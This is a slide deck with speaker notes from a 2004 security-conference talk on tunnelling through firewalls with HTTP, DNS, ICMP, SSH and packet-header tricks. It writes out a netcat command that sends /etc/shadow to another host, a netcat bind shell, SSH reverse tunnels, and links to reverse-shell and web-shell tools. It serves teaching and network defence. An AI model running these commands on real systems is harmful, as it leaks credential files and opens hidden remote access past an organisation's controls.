Firewall Piercing
Creative Exploitation of valid Internet Protocols

Maik Hentsche <maik@mm-double.de>
Frank Becker <fb@alien8.de>

21st Chaos Communication Congress, Berlin, Germany

2004-12-29

Agenda

Basics

Short Intro to Firewalls

Tools

Tunnel

Simple Examples of tunnel

More advanced tunnel

Links

Internet Protokoll: Packets
http://www.freesoft.org/CIE/Course/Section3/7.htm

Packets consist of:

Header: Source, Destination, Infos about packet

Payload: actual data

Header

Payload

IP: Layers
http://en.wikipedia.org/wiki/Internet_protocol_suite

00:0B:5D:58:C8:52

23.5.42.23

80/tcp

ipt>'alert(foo)'</scr ...

A short Firewall Intro

Firewalls: Terms

Router

Paket Filter

Stateless

Stateful

NAT/NAPT-Gateway

Application Layer Gateway / Proxies

Firewall is a concept not a product!

Router

Forwards IP-Packets through the Net

Can discard packets

Can route packets to certain hosts

Application

Transport

IP

MAC

Physical

Network 1

IP

MAC

Physical

MAC

Physical

IP

MAC

Physical

Network 2

Application

Transport

Stateless Paket Filter

IP packets are filtered by Layer 3 Header

no relation between packets

Source

Application

Transport

IP

MAC

Physical

IP

MAC

Physical

MAC

Physical

IP

MAC

Physical

Dest.

Application

Transport

Stateful Paket Filter

IP packets are filtered by layer 3&4

Paketfilter knows state of connection
example: ftp

Source

Application

Transport

IP

MAC

Physical

IP

MAC

Physical

MAC

Physical

IP

MAC

Physical

Dest.

Application

Transport

Transport

Packet Filters: Where they act

different network-layers

Advantage of Bridging FW: transparent (since working on MAC layer)

Source

Application

Transport

IP

MAC

Physical

IP: Routing Firewall

MAC: Bridging Firewall

Physical

Physical

IP

MAC

Physical

Dst.

Application

Transport

Application Layer Gateway / Proxy

Proxy talks the layer 7 protocol

Proxy is source for communication to the destination

optional, required or transparent

Source

Application

Transport

IP

MAC

Physical

IP

MAC

Physical

MAC

Physical

IP

MAC

Physical

Dst.

Application

Transport

Transport

Application

Proxy

NAT / NAPT / Masquerading

Private RFC 1918 non-routed addresses

NAT: Network Adress Translation

NAPT: Network and Port Translation

Masquerading: everything hidden behind gateway IP

Application

Transport

IP

MAC

Physical

192.168.8.1 →IP→ 55.1.2.3

192.168.8.1:25←IP←55.1.2.3:22

MAC

Physical

MAC

Physical

IP

MAC

Physical

Application

Transport

Transport

Tunnel

The Internet treats censorship as a defect and routes around it.

John Gilmore

Tunnel: Concept

Source

L7

Transport

IP

MAC

Physical

IP

MAC

Physical

MAC

Physical

IP

MAC

Physical

Dst.

Transport

Data

L7

Application

Data

Application

Tunnel: Agenda

Embed your data in „allowed“ communication-protocols

Creative exploitation of protocols

Example:

HTTPS/Connect	- ACK Tunnel

HTTP	- DNS

HTTP-Header	- ICMP

SSH	- Hiding data in IP

Tools: nc, cryptcat

nc -l -p 23 | > /tmp/foo

1.1.1.1

1.1.1.2

cat /etc/shadow | nc 1.1.1.1 23

cryptcat -k discordia \

-l -p 23 | > /tmp/foo

cat /etc/shadow | \

cryptcat -k discordia 1.1.1.1 23

nc -l -p 23 -c “/bin/sh”

Tools: socat

Like nc: socat – TCP4:host:port

socat -d -d READLINE, \
history=/tmp/hist TCP4:host:port,crnl

socat TCP4-LISTEN:2323,fork, \ su=nobody,tcpwrap=script
TCP4:host:www

socat TCP4-LISTEN:2323,fork, \
PROXY:proxy:ssh-host.tld:22, \ proxyport=3128,proxyauth=user:pass

Tools: ssh Port Forwarding

ssh -L:2323:hostC:123 user@hostB

better

ssh -N -f -L:2323:hostC:123 user@hostB

hostA

hostB

hostC

nc localhost 123

123

22

-2	Protocol version 2

-N	don't execute a remote command

-f	fork

-L localport:destinationhost:dstport

Tools: ssh Reverse Shell

ssh -R:2323:hostC:22 userB@hostB

better

ssh -N -f -R:2323:hostC:22 user@hostB

hostA

hostB

hostC

ssh -p2323 userC@localhost

uname -a

hostC

22

ssh -p2323 userC@localhost

22

Tools: ssh SOCKS Proxy

hostA

hostB

hostC

use SOCKS Proxy @localhost to reach hostC

...

22

-N	don't execute a remote command

-f	fork

-D local SOCKS (v5) Proxy port

ssh -f -N -D 2323 -f -N root@hostB

Connect:// through the Web-Proxy

HTTPS uses CONNECT host.tld:Port

Encrypted end to end connection: Proxy cannot look into packets

Any wrapper that adds CONNECT://

Software:

Putty

OpenSSH: .ssh/config

ProxyCommand /usr/local/bin/proxytunnel -g proxy -G 3128 \
-d destination-host -D 443

$SEARCHENGINE (z. B. stunnel, proxytunnel, transconnect, socat)

PPP over SSH Howto (Warning: don't do
TCP over TCP)

Why TCP over TCP is a bad idea?
http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

Transport / TCP

IP

MAC

Physical

Data (ssh)

Transport/TCP

Data

IP

PPP

When a segment timeouts, the segment is send again

and the following timeout is increased exponentially!

Now assume two layers of this.

The lower layer has packet drops, resends Packets,
inc. timers

The upper layer looses packets too, increases timers
too but slower. Thus, it will queue more packets faster!

S3

A1

S1

S2

A3

S2

source

dest.

HTTP-Tunnel

Client talks to server http (GET, POST ...)

Conveyed are other protocols such as:

ssh, PPP, ... ;)

Software: GNU httptunnel (only one connection possible)

HTTP

Transport

IP

MAC

Physical

PPP,SSH...

GNU httptunnel: Example

Server:	hts -F localhost:22 80

Client:	htc -F 2323 -P proxy:3128 -B64k server:80
ssh localhost -p 2323

Proxy:
1092305632.692 24025 172.20.18.7 TCP_MISS/200 4331 GET http://server/index.html? - DIRECT/1.2.3.4 text/html

tcpdump:

GET http://server:80/index.html?crap=1092313481 HTTP/1.1

Host: server:80

Connection: close

HTTP/1.0 200 OK

Content-Length: 102400

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate

Expires: 0

Content-Type: text/html

X-Cache: MISS from proxy

X-Cache-Lookup: MISS from proxy:74

Proxy-Connection: close

..'SSH-2.0-OpenSSH_3.8p1 Debian 1:3.8p1-3

.

.

`...\..ÇÈÀœÁó.UÁ.Û3Xjè*...=diffie-

Hiding Data in HTTP-Headers
(RFC 2616)

Server can always hide its tunneled data within the delivered site

Client: URL-encoding, PUSH and PUT -> all can be blocked (quit hard for URL)

Lots of headers, not evaluated by proxies can be used to hide data (e.g. User-Agent or Server)

Fake serverswitch of loadbalancing scenario

Hard to detect, if only few bits are used (version number of server or user-agent)

Example: PHPShell
http://www.gimpster.com/wiki/PhpShell

Basics of Portknocking

P3

P2

P1

1

2

some action such as open ssh ...

at the destination host

critics say: replay attacks

use some time dependent function for the knocking sequence

determined sequence
of IP packets

source

host

destination

host

Coming from the Outside

Attacker needs help from inside

Sends something allowed, that tells the server, how and where to it shall open a connection

Internet Control Message Protocol Basics
(RFC 792)

Send control messages for Internet protocol

Quite easy to use for programmers, userland program is sufficient

Nearly all types via Raw-Socket (not echo request, routing advertisment and timestamp)

Some types are vital to the function of the Internet, others are nearly not used at all

ICMP Echo
(RFC 792)

Big datapart, not limited by standard, put your data there

Since ping usually send 56 bytes of data (64 bytes IP-data), bigger values might be noticed

If used directly, precaution has to be taken, because of ping replies -> pinging via slave host = send ping with spoofed IP to slave host

Other useful ICMP Types
(RFC 792)

Many types (e.g. dest. unreachable (typ 3)) have a datafield, where IP-header of generating IP-packet and next 64 bits are expected

Data might be hidden in there -> not all bytes available, because of statefull filters

Example: “fragmentation needed and DF set” is needed for path MTU discovery (no blocking)

ACK Tunnel

TCP 3-way handshake

Stateless Firewalls
have to pass on ACKs

That means: just wait
for ACKs

http://www.tcpipguide.com/free/t_TCPConnectionEstablishmentProcessTheThreeWayHandsh-3.htm

syn sent

established

syn received

established

listen

SYN

SYN/ACK

ACK

Linux/iptables State-connection tracking, aus Iptables Tutorial, Chapter 4

DNS-Tunnel
http://slashdot.org/articles/00/09/10/2230242.shtml

DNS-Tunnel
http://www.heise.de/security/artikel/43716/1

Server:

gets DNS-queries with data embedded in domain name (Example: 3l33thax0r.tld)

Client:

Get's it's data in the TXT-Resource-Record– fields

You need an authoritive name server.

DNS Tunnel Illustrated

1

2

source

host

tunnel

startpoint

destination

host /

authoritive

DNS

tunnel

endpoint

Internal

DNS

server

ISP

DNS

server

3l33thax0r.tld.de

3l33thax0r.tld.de

TXT Zm5vcmQK

TXT Zm5vcmQK

Internal Network

Internet

DNS-Tunnel: nstx-Test

Server (with tun ethertap-dev):

modprobe tun

./nstxd tunnel.tdl

ifconfig tun0 192.168.5.1

DNS Zone-File für alien8.de:
tunnel	IN NS 1.2.3.4

Client (with tun ethertap-dev):

./nstxcd tunnel.tld 4.3.2.1 (LAN-DNS Server)

ifconfig tun0 192.168.5.2

ping 192.168.5.1

DNS-Tunnel: nstx-Test

Hiding Data in IP-Headers
(RFC 791)

Hiding Data in IP-Options
(RFC 791)

Use of options, might be noticed, because options are rarely used today, also firewall might block or remove options

Loose source route: first IP is destination, data follows -> theoretically over 65500 bytes of information

Strict source route can be used, since practically everyone ignores it

Security options: noone knows it, noone uses it, provides space for 11 bytes of information

Hiding Data in the IPID-Field
(RFC 791)

TOS and fragmentation information are usually not evaluated by routers anywhere on the path

If packet is fragmented, firewall may try to rebuild it

-> best choice is IPID

stegtunnel: uses IPID (and sequencenumbers) to hide data in normal datastreams, so that an eavesdropper will not even know, something is hidden there

Unfortunatelly, IPID may be changed by firewall to make passive OS-fingerprinting more complicated -> „packet scrubbing“

Hiding Data in TCP-Headers
(RFC 793)

Hiding Data in TCP-Headers
(RFC 793)

Hard to detect: choice of initial sequencenumber -> quite high overhead; choice of windowsize for every packet

Options are quite often used and blocking might break functionality

Not all options fit into 4 bytes -> padding is great for hiding stuff

Eventually source port can be used

Hiding Data in UDP-Headers
(RFC 768)

Not much of a header -> not much place for hiding

Eventually source port can be used (like TCP)

Since checksum is optional, on bit of information can be carried with every packet, if checksum is set or not

Bad for our purpose

SYN-Cookies

Special choice of initial sequencenumber

Only used, if SYN-backlog runs full

Connection can be set up without SYN, if attacker can guess the actual sequencenumber

Statefull firewalls have their own backlogs and therefore won't let ACK without SYN allow to pass

Links

Heise Security: Schleichpfade http://www.heise.de/security/artikel/43716

Firewall Tunnel, http://www.employees.org/~hek2000/projects/firewallTunnel, Kaichuan He (http://www.employees.org/~hek2000/index.html)

GNU HTTP Tunnel, http://www.nocrew.org/software/httptunnel.html, Lars Brinkhoff (http://lars.nocrew.org)

HTTP Tunnel in Java, http://sourceforge.net/projects/javahttptunnel, Gokul Singh

Zebedee Secure Tunnel, http://sourceforge.net/projects/zebedee, Neil Winton

desproxy, http://sourceforge.net/projects/desproxy, Miguelanxo Otero Salgueiro

nstx, http://nstx.dereference.de, Florian Heinz (sky@sysv.de), Julien Oster(frodo@sysv.de)
http://slashdot.org/articles/00/09/10/2230242.shtml

MailTunnel 0.2 (parrot), http://www.detached.net/mailtunnel, Magnus Lundström (logic@nocrew.org)

Loki, http://www.phrack.org/show.php?p=49&a=6, http://www.phrack.org/show.php?p=51&a=6, daemon9 (route@infonexus.com)

icmptunnel 0.1.3, http://www.detached.net/icmptunnel/index.html, Magnus Lundström (logic@nocrew.org)

AckCmd, http://www.ntsecurity.nu/toolbox/ackcmd, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)

FTP-tunnel, http://dhirajbhuyan.hypermart.net/ftp-tunnel.html, Dhiraj Bhuyan (dbhuyans@yahoo.com)

Gray-World NET Team, http://gray-world.net/papers.shtml

Tools: http://www.indianz.ch/lnxtoolsd.htm

itunnel: http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=itunnel&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0l

Protokolle: http://www.just2good.co.uk/index.php?ITFrameSet.php

Knowledge: http://www.wikipedia.org ; http://en.wikipedia.org

iptables/netfilter: http://www.netfilter.org/

Placing Backdoors Trhough Firewalls: http://www.thc.org/papers/fw-backd.htm

Stegtunnel: http://www.synacklabs.net/OOB/stegtunnel.html

TIS firewall toolkit: http://www.fwtk.org

Vom Menschen zum Unix-Hacker: http://www.thc.org/papers/h2h.htm (und alles von http://www.thc.org)

www-reverse shell: http://www.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz

Web-Shell: http://gray-world.net/pr_wsh.shtml

Shell-in-a-box: http://shellinabox.com/

CGI-Shell: http://cgi-shell.binaervarianz.de/

PHPShell: http://www.gimpster.com/wiki/PhpShell

Linux Advanced Routing and Traffic Control: http://www.lartc.org/lartc.htm

Die Maus erklärt das Internet: http://www.die-maus.de/sachgeschichten/sachgeschichten.phtml

Warriors of the Net (Film): http://www.warriorsofthe.net/

Intro to Linux-Firewall, Ethernet, DNS,...: http://www.jaganelli.de/pingu_FrameSet/index.htm

The Network mapper: http://www.insecure.org/nmap

corkscrew TCP (e. g. ssh) through web-proxies: http://www.agroman.net/corkscrew/

crywrap: http://bonehunter.rulez.org/CryWrap.phtml

The OpenBSD Packetfilter pf: http://www.benzedrine.cx/pf.html

The only secure computer is one that's disconnected from all networks – especially power...

Mike Meyer

Willkommen, nach DS erster TA wieder

Vorher noch Veranstaltungshinweise:

TA Sep: rundum UNIX (mit J)

TA Okt: Bibelstunde mit Tim Pritlove

30.Okt. Linux Info Tag (jetzt Mitglied werden, dann Eintritt frei)

21C3: Zw. Weihnachten und Neujahr (27-29.12.) Call4Paper

F

M

nur IPv4

Header und Daten

wie Telefonadressen (wohin soll denn die Reise gehen)

DNS Telefonbuch

Viele Flags im Header um div. Dinge zu signalisieren/einzustellen

sehen gleich Film dazu

M

OSI: Netzwerkprotokoll-Schema

vereinfachtes Modell mit 5 Schichten

7 Application	e.g. HTTP, SMTP, SNMP, FTP, Telnet, scp, NFS, RTSP

6 Presentation	e.g. XML, XDR, ASN.1, SMB, AFP

5 Session	e.g. TLS, SSH, ISO 8327 / CCITT X.225, RPC, NetBIOS, ASP

4 Transport	e.g. TCP, UDP, RTP, SCTP, SPX, ATP

3 Network	e.g. IP, ICMP, IGMP, X.25, CLNP, ARP, RARP, OSPF, RIP, IPX, DDP

2 Data Link	e.g. Ethernet, Token ring, PPP, HDLC, Frame relay, ISDN, ATM

1 Physical

F

Eigentlich Vortrag von Sven Grundlage (TA 1)

dennoch ...

F

remember: To design a firewall system starts with a threat-analysis

F

some switches and routers still provide firewalling at this level

M

Concept of tunnel is to embed your data into valid packets. Can be done on any layer.

However, you need some control of the tunnel endpoints. Tunneling is like breaking out of jail: You need someone waiting outside.

M

F

F

F

F

F

F

F

F

F

M

F

F

M

M

M

M

F

F

F

Cool: Voice over Ipmit Speedex Codec

F

F

F

M

M

M

M

M

M

2004-08-10T16:19:32